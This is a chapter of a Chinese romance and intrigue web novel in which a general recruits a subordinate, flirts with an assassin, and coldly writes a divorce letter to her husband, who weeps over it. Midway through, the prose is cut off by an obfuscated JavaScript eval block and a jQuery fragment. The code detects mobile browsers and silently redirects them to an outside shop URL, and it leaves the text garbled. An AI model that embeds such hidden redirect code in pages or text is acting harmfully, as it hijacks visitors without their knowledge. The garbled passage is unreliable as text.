83. 和离书
    “将愿与本将军一同前往同安的将士登记在册。”沈凌云坐直,仔细观察刘丰。

    “刘丰,你营州家中还有谁在?可否娶了夫郎?”

    “启禀将军,属下乃惠州人,母父都在惠州老家。”说着挠挠头,有些不好意思,“属下还未成亲。”

    “我接管这支队伍时间不长,队中将士与我情谊也并不深重。但你不同,在这支队伍里颇受将士们推崇。”沈凌云停顿下来。

    “将军颇负盛名,众将士对您都十分敬仰。”刘丰面色有几分惶恐。

    “刘丰,你可有什么愿景?换言之,你可想要成为举世闻名的大将军?”

    “当然想。沈将军,属下母亲是位秀才,自幼便要求属下勤学,以望将来考取功名,光耀门楣。但我从小就爱舞刀弄剑,自是想成为您这样的人。”刘丰眼睛闪耀,因为上司和自己谈论理想而感到激动。

    沈凌云对上这双赤忱的眼睛,也跟着扯出一个微笑,“营州如今尽显颓势,若我另寻她路,这路能让你实现心中所想,你可愿与我一道?”

    沈凌云直白的话语让刘丰瞪大眼睛,她有些不可置信的后退几步。“沈…沈将军?”

    沈凌云越过刘丰,穿过窗户望向广阔的天空,悠悠开口,“你可知,肖将军派我带你们来这沧州,就是来送死的。你们原是关习亮与高览麾下之人,那事尘埃落定后,本就被边缘化,由我接手。”

    “而我虽面上风光,可内里并不得肖将军信任。”她的目光对上刘丰惊诧的眼,眼中那复杂的情绪让刘丰的心被牵动。

    “你可知那肖二小姐肖清屿并未身死,如今正在范齐身边。这不过是肖砚初与范齐的一盘棋,一盘迷惑天下人,铲除异己的大棋。”

    刘丰完全被镇住,对这样的“真相”难以置信。沈凌云乘胜追击,继续列举一路来异常的地方,以及肖砚初对她们的厌恶。

    “你我这一路同行,我已将你视为我的姐妹,你可仔细想想。若是想好了,可与其他将士好好交流一番,不能让她们被蒙在鼓里。”沈凌云摆手,让其退下去想想。

    屋内一下子安静下来,沈凌云起身走到桌前写下一封寄回营州的信,收信的人则是空闻大师,接着又写下一封信寄往龙关山。

    她停笔,仔细思考,这范齐要与她谈判,但地点定在同安城,那对她而言太吃亏。

    反倒是沧州城与同安城不远处的祈安城是个好地方,地处小平原,交通较为便捷。若是她南下,可少耗费些人力物力。她提笔给范齐,并要求可以去但要在祈安城。

    五日后,沈凌云陆续收到回信。她将信撕毁焚烧,看着它们在眼前化为灰烬。最后一点火星彻底熄灭,漂浮的余烟模糊掉沈凌云意味不明的双眼。

    十二一声不吭,直接推门走进书房。“还有三日宴会便要开始,若是宴会结束后你还活着,是否还会回营州?你策反刘丰,看来是有其他打算。”

    沈凌云盖上炉盖,“这似乎不关十二公子的事?沈某便不回答了。”

    “明日我与你一同赴宴,若你身死,我也好立即将令牌拿走。”那张邪魅的脸一直带着似有若无的嘲意。

    “你如今为何不蒙面?”沈凌云一步步逼近十二,低下头审视他。“记得初见时,你遮的只剩下这双漂亮的眼睛。”

    “这似乎不关沈将军的事?”十二照着方才她说的话回了嘴。

    沈凌云拨开十二额头上的碎发,手指一路往下,微微抬起了他的下巴。眼睛里带着欣赏与赞美,将他的脸巡视一圈。目光仿佛带着温度,让十二感受到了灼热感。

    沈凌云的脸渐渐凑近他,两人的呼吸交织在一起,“若是我好好活着,十二公子可愿意跟着我,与我一道同行?”

    十二紧盯着沈凌云的眼睛缓缓垂下去,但却始终未曾后退一步或是挣扎半分。“那这肖公子要置于何地?所谓情比金坚,原也不过如此。”语气依旧带着嘲讽、不屑。

    沈凌云看着对方头上一会蓝一会红的光,心中有些微妙。

    “亦安为肖家人,若是跟着我怕是不妥。身份敏感,恐会害了他性命。”沈凌云收回手指,退后几步。

    随后挂上明媚的微笑,深邃的眼睛看着十二,“十二公子还未回答我的问题,可愿与我同行?”

    “若是活下来,我自是要继续跟着你,直到规定任务数完成。”说完不等沈凌云回答,快步离开。瞧着他的背影,似乎有些慌不择路。

    沈凌云坐回椅子上,望着外头的院子开始放空。明日她便要启程去往祈安城,事成后她便南下去往徐州。

    至于肖亦安,他梦中之事极有可能是他上辈子。他的行迹有限,梦也断断续续,用处并不大。她与营州决裂,那肖亦安也不方便跟着她。

    其实跟着也不碍事,沈凌云心里冒出另一道声音。只不过是多养活一个人而已,肖亦安也许也愿意跟着她。

    但转念一想,她还是决定放弃。肖亦安存有风险,按照他梦里发生的事,他上辈子和范齐以及肖云意搅和在一起,住的地方比王侯宅院还精致,那这范齐上辈子极有可能便是最后的赢家。

    肖亦安真如他所说常年被困院中吗?那他所言的那位与她相似的男子为何要拉拢他,有利用价值的人,绝不简单。还没搞清楚肖亦安哪里不简单,就把他带在身边,那便是一个隐患。

    更何况,她要利用七镜阁的其他势力,利用十二,那肖亦安在一旁瞧着,还不如回营州重新开始新生活。

    另一边,青竹跑进房中,“夫人,那十二在书房里呆了不到一盏茶的功夫便离开,将军还在里头处理军务,并未送其出门。那十二衣冠整洁,面色如常。”

    肖亦安点点头,“你将妻主喜爱的饭菜备好,稍后我亲自去书房送。”

    没多久便日落西山,肖亦安提着食盒正要前往书房时,沈凌云乘着余晖迈过房门。“青竹,去准备纸笔,放到桌上。”说着看向肖亦安。

    “郎君,我有话与你说。”她目光扫过肖亦安提着的东西,将其接过放至桌上。她把肖亦安按坐在榻上,自己扯了个椅子坐下。

    “妻主所谓何事?”肖亦安不明所以,但神色还是一如既往的柔和。

    “你我妻夫一场,明日我便派人送你回营州。和离书我稍后写好,便交于你,此后你我一别两宽,各自生欢。”等青竹将东西放好后,门被合上,她才缓缓开口。

    沈凌云这番话对肖亦安而言十分突然,他不明白怎么昨日还对他极尽缠绵的人,这时候突然说这样的话。

    “妻…妻主,你是在和亦安开玩笑吗?今日是什么日子吗?还是说你生亦安的气了,亦安和你道歉好不好?”他站起身,走到沈凌云椅子边,单膝跪地,伸手扯沈凌云的衣角。

    沈凌云看着对方茫然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027965|138015||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    无措的眼神,有几分于心不忍。“我将离开营州,此后便站在你嫡姐的对立面。你为肖家人,营州是你的故土,你理应回到那。”

    她强硬地扯出肖亦安拽着的衣角,语气冷冽,“若你在营州遭受非议,可去慈光寺‘修行’,避一段时间的风头,空闻大师或许能帮到你。”

    “妻主,你去哪,亦安都愿意跟着你!营州不曾有我放不下之人,我既已嫁给你,那不论…无论…生死,我都是…你的人。”肖亦安的声音带上几分凄厉,说到后面甚至无法抑制哭声。

    沈凌云站起身,走到书桌前,将纸张摊开,大手一挥就将和离书写好。

    肖亦安瘫倒在地,上半身靠着椅子,在小声啜泣。沈凌云就站在他身后不远处,静静等待墨迹干透,未曾往他那再看一眼。

    痛苦只是一时的,总好过往后因她所为,而持续痛苦,平白耽误大好年华。就当她不是人,起初贪图美色,没把持住,最后又在权衡利弊下选择放弃这个人。

    这世上还有很多人,总能再遇到其他人的,不是吗?

    墨迹干透,她将镇纸放在纸上。走到肖亦安身旁,“和离书已经放在桌上,别再为不值得的人流泪。况且一开始,你我也不过是相互利用,这时候也不必作出这般情深义重的模样。”

    这番话一出,肖亦安再度拉住沈凌云衣角的手,最终缓缓放开。沈凌云头也不回地离开了这,只给肖亦安留下一个绝情的背影。

    他的眼泪一颗一颗砸在地上,很快汇聚成一小摊水。但他没再发出任何声响,方才哭出声也不过是想要再引起那人的怜惜。

    他刚才只是想说,可以换一个身份跟在她身边,不以肖亦安的身份,就算不是正夫也没关系的。他知道,那什么十二比他更厉害,懂得多些。他可以克制不该有的嫉妒心,努力去成为和十二一样有用的人。

    青竹在外头听到肖亦安的哭泣声,但不好贸然进去,等沈凌云离开后,他才迅速走进去。之间肖亦安双手撑着地面,瘦削的肩膀微微颤动。

    “夫人,这是怎么了?你与将军吵架了?”他急忙扶起肖亦安,忙不迭询问。

    肖亦安眼泪克制不住地往下流,被扶到榻上,哽咽着开口,“青竹…你去…将桌上那张纸拿来。”

    青竹皱着脸,快步走到桌前,“和离书?!这是怎么回事?”

    肖亦安接过这张纸,眼前更加模糊,纸上的墨迹也开始模糊。

    “沈将军为什么写下这和离书?肯定是十二那只骚狐狸,平日里就爱往将军面前靠。”青竹一边心疼肖亦安,一边找原因,最后归结到十二身上,开始痛骂十二。

    “但夫人你还是肖家二公子,那将军怎么敢这么对你。到底除了什么事?”

    最后看着肖亦安的状态,青竹只能干巴巴的说:“这沈三也非良人,公子你名冠营州,无数女郎追捧,肯定能找到更好的人。你对这沈三那般体贴,用嫁妆贴补家用,她还不知珍惜,将来肯定后悔。”

    一直到天色暗下来,肖亦安恢复平静。期间青竹一直在他身边陪着,只是默默陪着,不再责怪任何人。

    “青竹,将东西收拾好,明日便会营州。”他将湿了又干,干了又湿的纸叠好,装入锦囊中。

    恢复成昔日清隽温润的营州贵公子,嗓音沙哑但坚决,“青竹,你说的没错。待她如翡我如苇,此后她悔我不悔。”